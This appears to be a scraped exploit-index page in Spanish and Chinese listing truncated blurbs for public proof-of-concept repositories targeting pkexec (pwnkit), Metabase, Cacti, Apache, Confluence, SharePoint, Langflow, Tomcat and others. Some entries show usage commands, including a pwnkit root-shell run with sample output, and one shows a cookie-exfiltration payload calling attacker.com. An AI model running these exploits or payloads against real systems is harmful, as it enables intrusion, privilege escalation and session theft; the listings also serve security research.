Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basado en golang para CVE-2021-4034, apodado pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@ !...

Pwnkit-exploit

Pwnkit-exploit 针对 pkexec（CVE-2021-4034）的漏洞利用程序...

CVE-2026-26012

CVE-2026-26012 — PoC de Enumeración de Cifrados en Vaultwarden Enumeración Completa de Cifrados Ignorando los Permisos de Colección de la Organización Un exploit de prueba de concepto para CVE-2026-26012, una vulnerabilidad de control de acceso roto en Vaultwarden = 1.35.2 que permite a cualquier...

CVE-2023-38646

CVE-2023-38646 Exploit para CVE-2023-38646 Metabase 0.46.6 Esta herramienta explota una vulnerabilidad CVE-2023-38646 en una plataforma de software. El exploit permite la ejecución remota de código mediante una solicitud manipulada, aprovechando una cadena de conexión de base de datos manejada...

CVE-2023-26602

Información del exploit para CVE-2023-26602 DESCARGO DE RESPONSABILIDAD: Solo para educación, investigación, hacking ético y pruebas de penetración profesionales...

v8-poc-CVE-2026-5865

PoC mínimo en .js para v8 CVE-2026-5865 Ejecución rápida Instala las dependencias: root@kitploit: pip install -r requirements.txt Parchea/calibra el exploit: root@kitploit: python3 patchexploit.py /path/to/d8 exploit.js Ejecuta el exploit: root@kitploit: ./run-exploit.sh /path/to/d8 exploit.js...

pwncat_pwnkit

pwncatpwnkit 简介 该模块的目的是在使用 pwncat 时，尝试在目标上利用 CVE-2021-4034（pwnkit）漏洞。 无需设置任何目录、编译任何源代码，甚至无需在远程目标上安装 gcc；pwnkit 模块会利用 pwncat 框架自动处理这一切。 设置与使用 只需将 pwnkit.py 复制到主机上安装了 pwncat-cs 的某个位置，例如：/home/user/pwncatmods 在 pwncat 中，直接输入：load /home/user/pwncatmods 要确认模块已加载，输入：search pwnkit。你应该会看到类似这样的内容：...

copy-fail-tiny-elf-CVE-2026-31431

Copy Fail Tiny ELF - CVE-2026-31431 Exploit mínimo de 436 bytes para Copy Fail, gracias al poder del golfing Magia Este ELF hace golfing extremo del exploit al estar totalmente sin mapear, con permisos rwx, y al usarse a sí mismo condicionalmente como la carga útil ELF para envenenar la caché...

CVE-2024-25641

CVE-2024-25641 root@kitploit: Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-2564...

CVE-2023-26609

Información del exploit para CVE-2023-26609 DESCARGO DE RESPONSABILIDAD: Solo para educación, investigación, hacking ético y pruebas de penetración profesionales...

Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit

Exploit para CVE-2021-41773 y CVE-2021-42013 Ataque de path traversal y RCE en Apache/2.4.49-2.4.50 Características - Toma una lista de urls - Funciona tanto para CGI como para no-CGI - Funciona para Apache/2.4.49 - 2.4.50 Uso $ git clone...

Exploit-CVE-2023-22515

利用 CVE-2023-22515 一个用于 CVE-2023-22515 的简单 Bash 脚本漏洞利用工具。 信息 Confluence Data Center 和 Server 实例存在一个访问控制失效漏洞（CVE-2023-22515），允许攻击者创建未经授权的 Confluence 管理员账户并访问 Confluence 实例。 受影响版本 root@kitploit: 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.1.0 8.1.1 8.1.3 8.1.4 8.2.0 8.2.1 8.2.2 8.2.3 8.3.0 8.3.1 8.3.2 8.4.0 8.4...

CVE-2021-25741

Acerca de Es un exploit para la vulnerabilidad CVE-2021-25741. Esta vulnerabilidad permite montar el sistema de archivos de Node dentro de un nuevo POD con privilegios de lectura y escritura. Puedes leer más sobre la vulnerabilidad aquí:...

CVE-2024-49112

LDAP Nightmare Un exploit para CVE-2024-49112 reportado por Yuki Chen @guhe120. Una vulnerabilidad en el Protocolo Ligero de Acceso a Directorios LDAP de Windows. Creado por SafeBreach Labs publicado el 1 de enero de 2025. Para el análisis técnico completo de la vulnerabilidad y cómo logramos...

CVE-2026-32201-exploit

概述 针对 CVE-2026-32201 的 Python 漏洞利用程序——Microsoft SharePoint Server 中的输入验证不当，允许未经身份验证的网络欺骗（C:L/I:L）。 受影响版本：SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 输出示例： root@kitploit: + 检测到 SharePoint。 正在向...

CVE-2021-4034

CVE-2021-4034 Exploit para la vulnerabilidad pwnkit del equipo de Qualys. Este exploit asume que gcc está presente en la máquina objetivo. root@kitploit: $ id uid=1001ayrx gid=1002ayrx groups=1002ayrx,27sudo $ ./setup.sh Ejecuta el siguiente comando en una sesión de bash: root@kitploit: while :; ...

CVE-2026-22241

CVE-2026-22241 : Open eClass Ejecución Remota de Código RCE Este exploit utiliza CVE-2026-22241 y automatiza el inicio de sesión, la creación de ZIP, el proceso de carga y proporciona una webshell directamente en el servidor, eliminándola automáticamente una vez que el exploit se completa...

CVE-2026-27966--RCE-in-Langflow

🚀 CVE-2026-27966 - Herramienta de Explotación RCE para Langflow Herramienta Todo-en-Uno para CVE-2026-27966 📋 Descripción Esta herramienta es un exploit todo-en-uno para CVE-2026-27966, una vulnerabilidad de Ejecución Remota de Código RCE en Langflow que permite a un atacante ejecutar comandos de...

CVE-2021-4034

CVE-2021-4034 漏洞利用 使用方法 root@kitploit: $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 临时修补 root@kitploit: chmo...

cve-2026-43512-poc

CVE-2026-43512 — Apache Tomcat DIGEST 认证绕过 可利用性分析结果： 根本原因已确认。但针对标准 UserDatabaseRealm 部署，端到端利用不可复现 。详情请参见分析。 目录 概述 受影响版本 根本原因 分析 仓库结构 要求 使用方法 预期输出 参考 免责声明 概述 CVE-2026-43512 是 Apache Tomcat 的 HTTP DIGEST 认证机制中的一个漏洞。方法 RealmBase.getDigest 在构造 A1 哈希输入之前，未验证 getPasswordusername 的返回值。当用户名在已配置的 Realm...